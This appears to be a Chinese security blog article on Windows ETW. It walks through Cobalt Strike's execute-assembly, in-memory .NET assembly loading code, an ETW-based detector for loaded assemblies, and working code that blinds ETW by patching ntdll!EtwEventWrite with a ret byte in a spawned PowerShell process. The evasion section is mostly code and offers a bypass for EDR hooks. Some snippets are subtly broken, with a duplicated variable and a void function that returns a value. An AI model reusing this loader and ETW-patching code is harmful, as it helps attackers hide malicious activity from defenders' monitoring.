ETW的攻與防
前言
ETW全稱為Event Tracing for Windows,即windows事件跟蹤,它是Windows提供的原生的事件跟蹤日志系統。由于采用內核層面的緩沖和日志記錄機制,所以ETW提供了一種非常高效的事件跟蹤日志解決方案,本文基于ETW探究其攻與防的實現
ETW
事件監測(Event Instrumentation)總會包含兩個基本的實體,事件的提供者(ETW Provider)和消費者(ETW Consumer),ETW框架可以視為它們的中介。ETW Provider會預先注冊到ETW框架上,提供者程序在某個時刻觸發事件,并將標準化定義的事件提供給ETW框架。Consumer同樣需要注冊到ETW框架上,在注冊的時候可以設置事件的刪選條件和接收處理事件的回調。對于接收到的事件,如果它滿足某個注冊ETW Consumer的篩選條件,ETW會調用相應的回調來處理該事件
ETW`針對事件的處理是在某個會話(`ETW Session`)中進行的,`ETW Session`提供了一個接收、存儲、處理和分發事件的執行上下文。`ETW`框架可以創建多一個會話來處理由提供者程序發送的事件,但是`ETW Session`并不會與某個單一的提供者綁定在一起,多個提供者程序可以向同一個`ETW Session`發送事件。對于接收到的事件,`ETW Session`可以將它保存在創建的日志文件中,也可以實時地分發給注冊的消費者應用。`ETW`會話的開啟和終止是通過 `Session`的開啟和終止是通過ETW控制器(`ETW Controller`)進行管理的。除了管理`ETW Session`之外,`ETW Controller`還可以禁用或者恢復注冊到某個`ETW Session`上的`ETW Provider
在這里,我們可以看到所有已注冊的ETW提供者及其對應GUID,我們還可以看到Microsoft-Windows-Threat-Intelligence突出顯示的提供者及其InstrumentationManifest位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\注冊表項的二進制清單文件因為這是一個Manifest-based ETW提供者
logman.exe query providers

我們可以使用以下命令獲取更多詳細信息并了解提供程序支持的事件類型
logman.exe query providers Microsoft-Windows-Threat-Intelligence


也可以XML Manifest使用此工具檢索文件,這使我們可以更詳細地了解特定EtwTi事件記錄的參數

使用x nt!EtwTi*來查看內核里面的所有例程

execute-assembly
cs在3.11版本實現了在非托管程序中加載.net程序集的功能,這個功能不需要向硬盤寫入文件,十分隱蔽,而且現有的Powershell腳本能夠很容易的轉換為C#代碼,十分方便,使用到的就是execute-assembly這個命令,這里我們用c#程序sharphound.exe進行演示,這個程序用來導出域內關系并可視化
execute-assembly D:\Bloodhound\SharpHound.exe -c all


首先我們來了解一下托管程序和非托管程序,說到這里就需要提一個CLR。CLR全稱Common Language Runtime(公共語言運行庫),是一個可由多種編程語言使用的運行環境。CLR是.NET Framework的主要執行引擎,作用之一是監視程序的運行:
- ? 在CLR監視之下運行的程序屬于托管的代碼
- ? 不在CLR之下,直接在裸機上運行的應用或者組件屬于非托管的代碼
托管程序與非托管程序的概念如下
托管代碼就是Visual Basic .NET和C#編譯器編譯出來的代碼。編譯器把代碼編譯成中間語言(IL),而不是能直接在你的電腦上運行的機器碼。中間語言被封裝在一個叫程序集 (assembly)的文件中,程序集中包含了描述你所創建的類,方法和屬性(例如安全需求)的所有元數據。
非托管代碼就是在Visual Studio .NET 2002發布之前所創建的代碼。例如Visual Basic 6, Visual C++ 6, 最糟糕的是,連那些依然殘存在你的硬盤中、擁有超過15年歷史的陳舊C編譯器所產生的代碼都是非托管代碼。托管代碼直接編譯成目標計算機的機械碼,這些代 碼只能運行在編譯出它們的計算機上,或者是其它相同處理器或者幾乎一樣處理器的計算機上。
再就是Unmanaged API,它其實是一套能將.net程序集加載到任意程序里面的API,它支持ICorRuntimeHost Interface和ICLRRuntimeHost Interface兩種接口,我們看一下msdn里面的描述

其中ICorRuntimeHost Interface支持的版本有v1.0.3705, v1.1.4322, v2.0.50727,v4.0.30319,ICLRRuntimeHost Interface支持的版本有v2.0.50727,v4.0.30319,在實際的開發里面兩種接口都是可以使用的
cs實現在非托管程序中加載主要是調用了ICLRRuntimeHost的接口,主要用到以下3個接口
ICLRMetaHost
ICLRRuntimeInfo
ICLRRuntimeHost
ICLRMetaHost提供基于版本號返回特定版本的公共語言運行時 (CLR)、列出所有已安裝的 CLR、列出在指定進程中加載的所有運行時、發現用于編譯程序集的 CLR 版本、退出進程的方法干凈的運行時關閉,并查詢舊版 API 綁定

ICLRRuntimeInfo提供一些方法,這些方法可返回有關特定公共語言運行時 (CLR) 的信息,包括版本、目錄和加載狀態。此接口還提供了特定于運行時的功能,而無需初始化運行時。它包括運行時相對 LoadLibrary 方法、運行時模塊特定的 GetProcAddress 方法和通過 GetInterface 方法提供的運行時提供的接口

ICLRRuntimeHost`提供與 .NET Framework 版本1中提供的 `ICorRuntimeHost`接口類似的功能,其中包含以下更改: 用于設置宿主控件接口的 `SetHostControl`方法的添加,省略提供的某些方法 `ICorRuntimeHost

硬盤加載
首先這里我們寫一個Printf函數,使用Console.WriteLine接收
namespace etw1
{
class Program
{
static int Main(String[] args)
{
return 1;
}
static int Printf(String strings)
{
Console.WriteLine(strings);
return 1;
}
}
}
在服務端我們首先使用CLRCreateInstance初始化ICLRMetaHost接口
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&iMetaHost);
然后調用GetRuntime方法獲取ICLRRuntimeInfo接口
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&iRuntimeInfo);
再使用ICLRRuntimeInfo將 CLR加載到當前進程,返回運行時接口ICLRRuntimeHost指針
iRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&iRuntimeHost);
然后再通過ICLRRuntimeHost.EecuteInDefaultAppDomain執行指定程序
iRuntimeHost->ExecuteInDefaultAppDomain (L"F:\\C#\\etw1\\bin\\Debug\\etw1.exe", L"etw1.Program", L"Printf", L"etw1", NULL);
實現效果如下

內存加載
內存加載相對于硬盤加載,首先是整個過程都會在內存執行而不會寫入文件,隱蔽性較好,而且最終的payload為c#程序,調用powershell十分方便利用
那么我們來進行代碼的實現,首先還是初始化CLR環境
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost); iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo); iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost); iRuntimeHost->Start();
然后使用ICLRRuntimeHost獲取AppDomain接口指針,然后通過AppDomain接口的QueryInterface方法來查詢默認應用程序域的實例指針
iRuntimeHost->GetDefaultDomain(&pAppDomain); pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);

使用Load_3(…)從內存中讀取并加載.NET程序集
saBound[0].cElements = ASSEMBLY_LENGTH; saBound[0].lLbound = 0; SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound); SafeArrayAccessData(pSafeArray, &pData); memcpy(pData, dotnetRaw, ASSEMBLY_LENGTH); SafeArrayUnaccessData(pSafeArray); pDefaultAppDomain->Load_3(pSafeArray, &pAssembly); pAssembly->get_EntryPoint(&pMethodInfo);
創建安全數組并執行入口點
ZeroMemory(&vRet, sizeof(VARIANT));
ZeroMemory(&vObj, sizeof(VARIANT));
vObj.vt = VT_NULL;
vPsa.vt = (VT_ARRAY | VT_BSTR);
args = SafeArrayCreateVector(VT_VARIANT, 0, 1);
if (argc > 1)
{
vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
for (long i = 0; i < argc; i++)
{
SafeArrayPutElement(vPsa.parray, &i, SysAllocString(argv[i]));
}
long idx[1] = { 0 };
SafeArrayPutElement(args, idx, &vPsa);
}
HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);


檢測execute-assembly
一般檢測execute-assembly都會使用windows事件跟蹤,即ETW,例如這里啟動一個powershell進程,通過procexp查看可以看到被CLR托管的dll


我們可以從processhacker工具源碼里面的asmpage.c(https://github.com/processhacker/processhacker/blob/master/plugins/DotNetTools/asmpage.c)源碼里面查看這類工具是怎樣枚舉`.net`工具集的,這里挑出關鍵代碼編譯成`etw2.exe`
static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };
const char name[] = "dotnet trace\0";
#pragma pack(1)
typedef struct _AssemblyLoadUnloadRundown_V1
{
ULONG64 AssemblyID;
ULONG64 AppDomainID;
ULONG64 BindingID;
ULONG AssemblyFlags;
WCHAR FullyQualifiedAssemblyName[1];
} AssemblyLoadUnloadRundown_V1, * PAssemblyLoadUnloadRundown_V1;
#pragma pack()
static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {
PEVENT_HEADER eventHeader = &EventRecord->EventHeader;
PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;
AssemblyLoadUnloadRundown_V1* assemblyUserData;
switch (eventDescriptor->Id) {
case AssemblyDCStart_V1:
assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
wprintf(L"[%d] - Assembly: %s", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);
break;
}
}
int main(void)
{
TRACEHANDLE hTrace = 0;
ULONG result, bufferSize;
EVENT_TRACE_LOGFILEA trace;
EVENT_TRACE_PROPERTIES* traceProp;
printf(".net_ETW_finder");
memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA));
trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
trace.LoggerName = (LPSTR)name;
trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;
bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);
traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
traceProp->Wnode.BufferSize = bufferSize;
traceProp->Wnode.ClientContext = 2;
traceProp->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
traceProp->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;
traceProp->LogFileNameOffset = 0;
traceProp->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {
printf("[!] Error starting trace: %d", result);
return 1;
}
if ((result = EnableTraceEx(
&ClrRuntimeProviderGuid,
NULL,
hTrace,
1,
TRACE_LEVEL_VERBOSE,
0x8, // LoaderKeyword
0,
0,
NULL
)) != ERROR_SUCCESS) {
printf("[!] Error EnableTraceEx");
return 2;
}
hTrace = OpenTrace(&trace);
if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
printf("[!] Error OpenTrace");
return 3;
}
result = ProcessTrace(&hTrace, 1, NULL, NULL);
if (result != ERROR_SUCCESS) {
printf("[!] Error ProcessTrace");
return 4;
}
return 0;
}
首先cs上線

然后啟動我們的監控程序

在beacon里面調用SharpHound.exe,這里需要在域內且具有.net環境才能夠運行成功,執行以下命令
execute-assembly D:\Bloodhound\SharpHound.exe 1.2.3.4

這里就會在exe存放的位置生成以下三個文件

然后我們去看一下我們的監控程序,可以看到已經識別出了SharpHound的調用

這里如果想要規避檢測,可以更改程序名的名字,但是這里只要修改檢測方法為顯示可疑方法的名稱即可
switch (eventDescriptor->Id) {
case MethodLoadVerbose_V1:
methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData;
WCHAR* MethodNameSpace = methodUserData->MethodNameSpace;
WCHAR* MethodName = (WCHAR*)(((char*)methodUserData->MethodNameSpace) + (lstrlenW(methodUserData->MethodNameSpace) * 2) + 2);
WCHAR* MethodSignature = (WCHAR*)(((char*)MethodName) + (lstrlenW(MethodName) * 2) + 2);
wprintf(L"[%d] - MethodNameSpace: %s", eventHeader->ProcessId, methodUserData->MethodNameSpace);
}
這里通過select-string查找SharpHound方法

這里還是啟動一下我們的SharpHound程序


可以看到還是被監控到了Sharphound2.Sharphound方法

規避ETW檢測
通過查閱資料后發現ETW將 TRUE布爾參數傳遞到nt!EtwpStopTrace函數中,以查找 ETW特定結構并動態修改或修補ntdll!ETWEventWrite或advapi32!EventWrite立即返回從而停止用戶模式記錄器
也就是說在3環ETW是通過ntdll.dll的EtwEventWriteFull函數實現的

往下跟發現調用了EtwEventWriteFull,然后EtwEventWriteFull調用EtwpEventWriteFull

我們繼續往下看EtwEventWriteFull函數,調用了NtTraceEvent

繼續跟NtTraceEvent,可以發現NtTraceEvent通過syscall進入內核

這里我們可以打印一下地址

那么我們在EtwEventWriteFull直接使用0xc3即ret返回,即可達到繞過的效果,首先我們通過x64dbg和powershell驗證一下
首先使用x64dbg創建一個powershell進程,這時x64dbg會在線程初始化前下一個斷點
定位到ntdll!EtwEventWrite


一般windows api默認使用stdcall(x86)調用約定,這里x64默認使用fastcall,即寄存器傳參,被調用者清理堆棧,所以我們直接使用ret即C3返回即可

查看CLR日志已經被清空

這里通過代碼實現,定位到ntdll!EtwEventWrite函數,然后在入口處ret返回即可,使用VirtualProtectEx修改屬性
void bypassetw()
{
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
unsigned char pEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)pEtwEventWrite);
DWORD oldProtect;
char patch = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hNtdll);
return 0;
}
實現效果如下,可以看到起了一個powershell進程,查看CLR日志也被清空

這里可能某些EDR會hookEtwEventWrite這個函數,那么我們直接往syscall進0環的函數去掛鉤,代碼如下
unsigned char sNtTraceEvent[] = { 'N','t','T','r','a','c','e','E','v','e','n','t', 0};
LPVOID pNtTraceEvent = GetProcAddress(hNtdll, (LPCSTR)sEtwEventWrite);
可以看到CLR日志也被清空

原創稿件征集
征集原創技術文章中,歡迎投遞
投稿郵箱:edu@antvsion.com
文章類型:黑客極客技術、信息安全熱點安全研究分析等安全相關
通過審核并發布能收獲200-800元不等的稿酬。